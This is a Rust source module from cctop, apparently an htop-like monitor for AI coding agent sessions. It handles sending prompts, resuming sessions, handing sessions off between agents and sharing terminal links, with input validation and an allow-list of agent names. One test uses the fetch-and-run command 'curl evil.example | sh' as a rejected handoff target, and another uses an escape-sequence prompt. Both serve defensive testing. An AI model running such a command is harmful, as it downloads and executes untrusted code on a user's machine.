cctop 0.11.1

An htop-like terminal monitor for AI coding agent sessions (Claude Code, Codex, Cursor, Gemini CLI, OpenCode, Pi, Windsurf)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
//! The four things the page can do to a session, rather than say about it.
//!
//! Typing a prompt at a live agent, resuming a dead one, handing one's work to a
//! different harness, and answering which harnesses are available to hand it to.
//! Every one of them already existed for the terminal — [`crate::inject`],
//! [`crate::rmux`], [`crate::handoff`] — and none of it is reimplemented here.
//! What this module is, is the part that has to be different because the caller
//! is a socket rather than a keypress:
//!
//! - **It refuses a remote row.** A session read over ssh names a pid and a
//!   directory on *that* machine. Typing at that pid here reaches whatever local
//!   process happens to hold the number, which is the one failure mode worth
//!   more care than the feature is worth. Run `cctop serve` on that machine.
//! - **It bounds what it will send.** A prompt is [`MAX_PROMPT_CHARS`] and no
//!   control characters, because the receiving end is a terminal in raw mode and
//!   an escape sequence typed into one is not a prompt — it is a keystroke the
//!   agent's TUI will act on.
//! - **It never leaves an agent it started unreachable.** A resume or a handoff
//!   goes into a detached rmux session named the way cctop names them, so the
//!   answer can say how to get to it and the terminal UI lists it as a tab the
//!   next time it looks. Without rmux there is nowhere to put a process that
//!   outlives the request, and the action says that instead of starting an agent
//!   attached to a socket that is about to close.
//!
//! # What this is not
//!
//! It does not stop, kill or delete anything. Every action here either adds a
//! turn to a conversation or starts an agent; none of them destroys work, so the
//! worst outcome of a mistaken request is an agent doing something unwanted in a
//! directory, which is recoverable, rather than a session gone, which is not.
//! Stopping an agent stays a terminal thing, where the confirmation prompt is.

use crate::handoff;
use crate::session::{Session, SessionData};
use serde::Serialize;

/// The longest prompt that will be typed at an agent.
///
/// Long enough for a real instruction with a path and a paragraph of context,
/// and short of a paste that would be better written to a file and pointed at —
/// which is the shape [`handoff`] already uses for exactly this reason.
const MAX_PROMPT_CHARS: usize = 4000;

/// How long the launch of a handed-off agent is given before the brief is typed
/// at it.
///
/// Only for the harnesses that take no opening prompt on their command line.
/// See [`handoff::opening_argv`] for why an argument is the better path and what
/// goes wrong on this one — the delay is a mitigation, not a fix.
const HANDOFF_SETTLE: std::time::Duration = std::time::Duration::from_millis(1500);

/// What happened, in the shape the page renders.
#[derive(Debug, Serialize)]
pub struct Done {
    /// One sentence for the reader, whether it worked or not.
    pub message: String,
    /// The rmux session an action started or found, when there is one, so the
    /// answer can tell someone at a terminal where their agent went.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub rmux: Option<String>,
}

/// Where the page can reach this session's own terminal, and how far that reach
/// goes.
#[derive(Debug, Serialize)]
pub struct Terminal {
    /// The rmux operator link, for the page to frame. A shell credential: it is
    /// never logged, never put on the status line, and never returned to a
    /// request that did not carry the token.
    pub url: String,
    /// Whether that link travels through cctop's quick tunnel. `false` means it
    /// resolves to this machine's loopback and works only in a browser already
    /// on it — which the page says rather than showing an empty frame.
    pub tunnelled: bool,
}

/// Where an image the page sent was written, for the prompt to name.
#[derive(Debug, Serialize)]
pub struct Filed {
    /// The absolute path on *this* machine — the one the agent runs on, which
    /// is the whole point of the route: the image was on the reader's laptop
    /// and the agent cannot open anything there.
    pub path: String,
}

/// Every failure is a sentence and a status, because the page shows the sentence
/// and the browser needs the status.
pub type Failed = (u16, String);

/// Write an image the page pasted, and give back the path to put in a prompt.
///
/// The one way an image reaches an agent on a machine you are only sshed into.
/// A terminal carries text and nothing else, so the picture in your clipboard
/// cannot cross that way — but a browser can read a real image off the
/// clipboard, and this page is already talking to the machine the agent is on.
/// So the bytes come over the connection cctop already has, land in a file
/// here, and the agent is handed the path exactly as `F9` hands it one locally.
///
/// Reuses the terminal side's sniff rather than trusting the content type: what
/// is written is a PNG or the request is refused, so nothing else can be
/// deposited on the machine through a route whose name says "image".
pub fn image(data: &str) -> Result<Filed, Failed> {
    let Some(png) = crate::clipboard::png_from_paste(data) else {
        return Err((400, "only a PNG can be pasted here".into()));
    };
    match crate::clipboard::write_png(&png) {
        Ok(path) => Ok(Filed {
            path: path.display().to_string(),
        }),
        Err(e) => Err((503, format!("could not write the image here: {e}"))),
    }
}

fn done(message: impl Into<String>) -> Result<Done, Failed> {
    Ok(Done {
        message: message.into(),
        rmux: None,
    })
}

/// Type `text` at the agent driving `session`, and submit it.
///
/// The prompt is refused rather than sanitised when it carries control
/// characters. Stripping them would send *something*, and the something would
/// differ from what the sender read back on their own screen — which for a
/// surface whose whole job is to be trusted with a prompt is worse than a
/// refusal that says why.
pub fn send(session: &Session, text: &str) -> Result<Done, Failed> {
    local(session)?;
    let text = text.trim();
    if text.is_empty() {
        return Err((400, "nothing to send".into()));
    }
    if text.chars().count() > MAX_PROMPT_CHARS {
        return Err((
            413,
            format!("a prompt is at most {MAX_PROMPT_CHARS} characters"),
        ));
    }
    // A newline is the submit key on a pty, so one inside the text would send
    // the first line and leave the rest typed at whatever came next.
    if let Some(bad) = text.chars().find(|c| c.is_control()) {
        return Err((
            400,
            match bad {
                '\n' | '\r' => "a prompt is one line — it is submitted for you".into(),
                _ => "a prompt cannot contain control characters".into(),
            },
        ));
    }
    let Some(pid) = session.root_pid() else {
        return Err((
            409,
            "nothing is running this session — resume it first".into(),
        ));
    };
    match crate::inject::send_line(pid, text) {
        Ok(()) => done("Sent"),
        // The message names every way in, since which ones apply depends on how
        // the agent was started and that is not something the sender can see.
        Err(why) => Err((409, why)),
    }
}

/// Start this session's harness back up on this session's transcript.
///
/// The counterpart of `R` in the terminal, and the only way into a session cctop
/// did not start: there is no pty to borrow, so the agent is launched afresh and
/// handed the transcript by the harness's own resume command.
pub fn resume(session: &Session) -> Result<Done, Failed> {
    local(session)?;
    let Some(argv) = session.resume_argv() else {
        return Err((
            409,
            format!(
                "{} sessions cannot be resumed from a shell",
                session.surface.label(session.provider)
            ),
        ));
    };
    if !crate::shim::is_command(&argv[0]) {
        return Err((409, format!("{} is not installed on this machine", argv[0])));
    }
    // Resumed under the account the transcript lives in. For Codex this is the
    // difference between resuming and not: a session id under `~/.codex-work`
    // does not exist under `~/.codex`, so the resume would open a blank session
    // and report nothing wrong.
    let argv = under_profile(session, argv);

    // Named after the session, so resuming it twice reattaches to the agent
    // already doing it rather than starting a rival on one transcript — which no
    // harness coordinates, and which is why the terminal asks before doing it.
    let name = crate::rmux::name_for_session(session.provider.as_str(), &session.session_id);
    if crate::rmux::exists(&name) {
        return Ok(Done {
            message: format!("Already running — attach with `rmux attach -t {name}`"),
            rmux: Some(name),
        });
    }
    if session.is_running() {
        return Err((
            409,
            "something is already running this session — two agents on one \
             transcript is not something the harnesses coordinate"
                .into(),
        ));
    }
    launch(&argv, &name, session.work_dir().as_deref())?;
    Ok(Done {
        message: format!("Resumed — attach with `rmux attach -t {name}`"),
        rmux: Some(name),
    })
}

/// `argv` run under the account whose directory this session was read out of.
///
/// Resumed under the account the transcript lives in. For Codex this is the
/// difference between resuming and not: a session id under `~/.codex-work` does
/// not exist under `~/.codex`, so the resume would open a blank session and
/// report nothing wrong.
fn under_profile(session: &Session, argv: Vec<String>) -> Vec<String> {
    match profile_of(session) {
        Some(profile) => crate::config::argv_under_profile(argv, profile),
        None => argv,
    }
}

/// The profile a session was read out of, when it still exists.
fn profile_of(session: &Session) -> Option<&'static crate::config::Profile> {
    let name = session.profile.as_deref()?;
    crate::config::profile_named(session.provider, name)
}

/// Write `session`'s brief and start `agent` on it, in the same directory.
///
/// This is the cross-harness move: a resume puts the same harness back on the
/// same transcript, and a handoff carries what the session was doing across to
/// a different agent entirely — the one thing no harness can do for itself,
/// since each can only read its own transcripts.
pub fn handoff(session: &Session, data: Option<&SessionData>, agent: &str) -> Result<Done, Failed> {
    local(session)?;
    // The agent has to be one cctop knows, not a command from the request. A
    // string that reaches `Command::new` from a socket is a remote shell with
    // extra steps, however well the token in front of it is kept.
    if !agents().iter().any(|known| known == agent) {
        return Err((
            400,
            format!("{agent} is not an agent cctop found on this machine"),
        ));
    }
    // Claude to Claude there is a better handoff than a summary: the receiving
    // agent reads the same transcript format the sending one wrote, so it can be
    // resumed onto a copy of the conversation itself. `handoff::fork` says what
    // that costs and why it is still the right trade.
    if agent == "claude"
        && let Some(transcript) = handoff::forkable(session)
    {
        return forked(session, transcript);
    }
    let brief = handoff::build(session, data);
    let path = handoff::write(&brief)
        .map_err(|e| (503, format!("could not write the handoff brief: {e}")))?;
    let line = handoff::prompt_for(&path);

    let argv = vec![agent.to_string()];
    // Handed over in the argv wherever the harness takes an opening prompt.
    // `handoff::opening_argv` documents why that is not the same as typing it:
    // an agent still asking the terminal what it can do eats part of whatever
    // is in the input queue, and a half-swallowed path looks like a whole one.
    let opening = handoff::opening_argv(&argv, &line);
    let name = crate::rmux::free_name(agent);
    launch(
        opening.as_ref().unwrap_or(&argv),
        &name,
        session.work_dir().as_deref(),
    )?;

    if opening.is_none() {
        // Nowhere to put the brief but the keyboard, and not until the agent is
        // reading one. The thread outlives the request on purpose: the answer
        // should not wait a second and a half to say the agent started.
        let name_for_thread = name.clone();
        std::thread::spawn(move || {
            std::thread::sleep(HANDOFF_SETTLE);
            if let Some(pid) = crate::rmux::agent_pid(&name_for_thread) {
                let _ = crate::inject::send_line(pid, &line);
            }
        });
    }
    Ok(Done {
        message: format!(
            "Handed {} to {agent} — attach with `rmux attach -t {name}`",
            brief.summary()
        ),
        rmux: Some(name),
    })
}

/// Copy this session's transcript and start a second Claude on the copy.
///
/// The two agents share everything said so far and nothing after it: the copy
/// is what keeps this a handoff rather than two agents appending to one
/// transcript, which is the thing [`resume`] refuses to do.
fn forked(session: &Session, transcript: &std::path::Path) -> Result<Done, Failed> {
    let profile = profile_of(session);
    let config_dir = profile
        .map(|p| p.dir.clone())
        .unwrap_or_else(|| crate::config::CLAUDE_CONFIG_DIR.clone());
    let id = handoff::fork(transcript, &config_dir)
        .map_err(|e| (503, format!("could not copy the transcript: {e}")))?;
    let argv = under_profile(
        session,
        vec!["claude".into(), "--resume".into(), id.clone()],
    );
    // A fresh id, so unlike a resume there is nothing to be idempotent about:
    // the copy has never been opened by anything.
    let name = crate::rmux::free_name("claude");
    launch(&argv, &name, session.work_dir().as_deref())?;
    Ok(Done {
        message: format!(
            "Handed the conversation to a new claude — attach with `rmux attach -t {name}`"
        ),
        rmux: Some(name),
    })
}

/// The agents on this machine a session can be handed to.
///
/// The same list the terminal launcher offers, minus the shell: handing a brief
/// to `$SHELL` would start a shell with a paragraph typed into it.
pub fn agents() -> Vec<String> {
    crate::alias::AGENTS
        .split_whitespace()
        .filter(|agent| crate::shim::is_command(agent))
        .map(str::to_string)
        .collect()
}

/// Put `argv` in a detached rmux session called `name`.
///
/// rmux rather than a bare child process, for a reason that is not stylistic: a
/// connection thread's children die with the request, and an agent needs a
/// terminal to run in and to still be there afterwards. rmux provides both and
/// is already how cctop hosts agents it did not start in a tab, so an agent
/// started from the browser is one the terminal UI lists and can attach to.
fn launch(argv: &[String], name: &str, cwd: Option<&std::path::Path>) -> Result<(), Failed> {
    if !crate::rmux::available() {
        return Err((
            503,
            "starting an agent from the browser needs rmux, which is not \
             installed — `cctop` in a terminal can do this without it"
                .into(),
        ));
    }
    crate::rmux::prepare(argv, name, cwd);
    // `prepare` is best-effort by design: every failure inside it leaves the
    // session absent. That is the one thing worth checking, because a caller
    // told "started" about a session that does not exist has nowhere to go.
    match crate::rmux::exists(name) {
        true => Ok(()),
        false => Err((503, format!("rmux would not start {}", argv[0]))),
    }
}

/// Refuse a row that came from another machine.
///
/// Every action below signals a pid, opens a directory or writes a file, and all
/// three are about *this* filesystem. See [`crate::session::Remote`].
fn local(session: &Session) -> Result<(), Failed> {
    match &session.remote {
        Some(remote) => Err((
            409,
            format!(
                "this session is on {} — run cctop serve there to act on it",
                remote.host
            ),
        )),
        None => Ok(()),
    }
}

/// Mint a link to this session's own terminal, for the page to frame.
///
/// Only reaches an agent cctop handed to the multiplexer — the same limit `a`
/// and `W` have in the terminal, and for the same reason: an agent on cctop's
/// own pty is on no terminal a second viewer can be pointed at.
///
/// One share per session, reused — see [`crate::rmux::share_link`]. A link
/// minted afresh on every ask left a row in `rmux web-share list` per page
/// reload and, because each tunnelled one dials a rate-limited public relay,
/// eventually came back untunnelled. Reusing it also matches what is true:
/// there is one terminal here, however many people are looking at the page.
///
/// rmux raises the tunnel — see [`crate::rmux::web_share`] for why cctop's own
/// one cannot carry a share — and a machine with no way out falls back to a
/// loopback link rather than to nothing. Which of the two it got is in the
/// answer, because a link that only opens on the server's own desk is not a
/// failure the reader can see.
pub fn terminal(session: &Session) -> Result<Terminal, Failed> {
    local(session)?;
    let Some(pid) = session.root_pid() else {
        return Err((
            409,
            "nothing is running this session — resume it first".into(),
        ));
    };
    let Some(name) = crate::rmux::holding(pid) else {
        return Err((
            409,
            "only an agent cctop put in a multiplexer has a terminal to show".into(),
        ));
    };
    let (share, tunnelled) = crate::rmux::share_link(&name, true)
        .map_err(|why| (409, format!("could not open that terminal: {why}")))?;
    let Some(url) = share.operator else {
        return Err((409, "the share came back without an operator link".into()));
    };
    Ok(Terminal { url, tunnelled })
}

#[cfg(test)]
mod image_tests {
    use super::*;

    /// The page's route files a PNG and refuses everything else.
    ///
    /// The refusal matters more than the acceptance: this is a route that
    /// writes a file on the machine the agents run on, so what it will write is
    /// bounded by the same sniff the terminal side uses rather than by the
    /// content type the sender claimed.
    #[test]
    fn only_a_png_is_filed() {
        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR";
        let data = format!(
            "data:image/png;base64,{}",
            crate::util::b64_encode(png.as_slice())
        );
        let filed = image(&data).expect("a PNG was refused");
        let path = std::path::PathBuf::from(&filed.path);
        assert_eq!(std::fs::read(&path).ok().as_deref(), Some(png.as_slice()));
        let _ = std::fs::remove_file(&path);

        assert_eq!(
            image("data:image/png;base64,bm90IGEgcG5n").map(|f| f.path),
            Err((400, "only a PNG can be pasted here".to_string())),
            "a base64 payload that is not a PNG was filed"
        );
        assert!(image("what is wrong with this?").is_err());
        assert!(image("").is_err());
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::pricing::Provider;

    fn session() -> Session {
        Session::new(Provider::Claude, "s1".into())
    }

    #[test]
    fn a_prompt_with_no_agent_running_says_to_resume_rather_than_failing_obscurely() {
        let (status, message) = send(&session(), "carry on").unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("resume"), "{message}");
    }

    /// A `\r` is the submit key on a pty, so a two-line prompt sends its first
    /// line and types the rest at whatever the agent shows next.
    #[test]
    fn a_multi_line_prompt_is_refused_with_the_reason() {
        let (status, message) = send(&session(), "do this\nand that").unwrap_err();
        assert_eq!(status, 400);
        assert!(message.contains("one line"), "{message}");
    }

    #[test]
    fn an_escape_sequence_is_not_a_prompt() {
        let (status, _) = send(&session(), "quit\u{1b}[A").unwrap_err();
        assert_eq!(status, 400);
    }

    #[test]
    fn an_empty_prompt_is_refused_before_anything_is_looked_up() {
        assert_eq!(send(&session(), "   ").unwrap_err().0, 400);
    }

    #[test]
    fn a_prompt_past_the_cap_is_refused() {
        let long = "x".repeat(MAX_PROMPT_CHARS + 1);
        assert_eq!(send(&session(), &long).unwrap_err().0, 413);
    }

    /// The pid and the working directory in a remote row belong to another
    /// machine, and every action here would apply them to this one.
    #[test]
    fn every_action_refuses_a_session_on_another_machine() {
        let mut session = session();
        session.remote = Some(crate::session::Remote {
            host: "build-box".into(),
            branch: None,
        });
        for (status, message) in [
            send(&session, "hello").unwrap_err(),
            resume(&session).unwrap_err(),
            handoff(&session, None, "claude").unwrap_err(),
        ] {
            assert_eq!(status, 409);
            assert!(message.contains("build-box"), "{message}");
        }
    }

    /// The agent name reaches `Command::new`, so it is checked against what
    /// cctop found on this machine rather than taken from the request.
    #[test]
    fn a_handoff_target_that_is_not_a_known_agent_is_refused() {
        let (status, message) = handoff(&session(), None, "curl evil.example | sh").unwrap_err();
        assert_eq!(status, 400);
        assert!(message.contains("not an agent"), "{message}");
    }

    #[test]
    fn a_provider_with_no_resume_command_says_so() {
        let session = Session::new(Provider::Cursor, "s1".into());
        let (status, message) = resume(&session).unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("cannot be resumed"), "{message}");
    }
}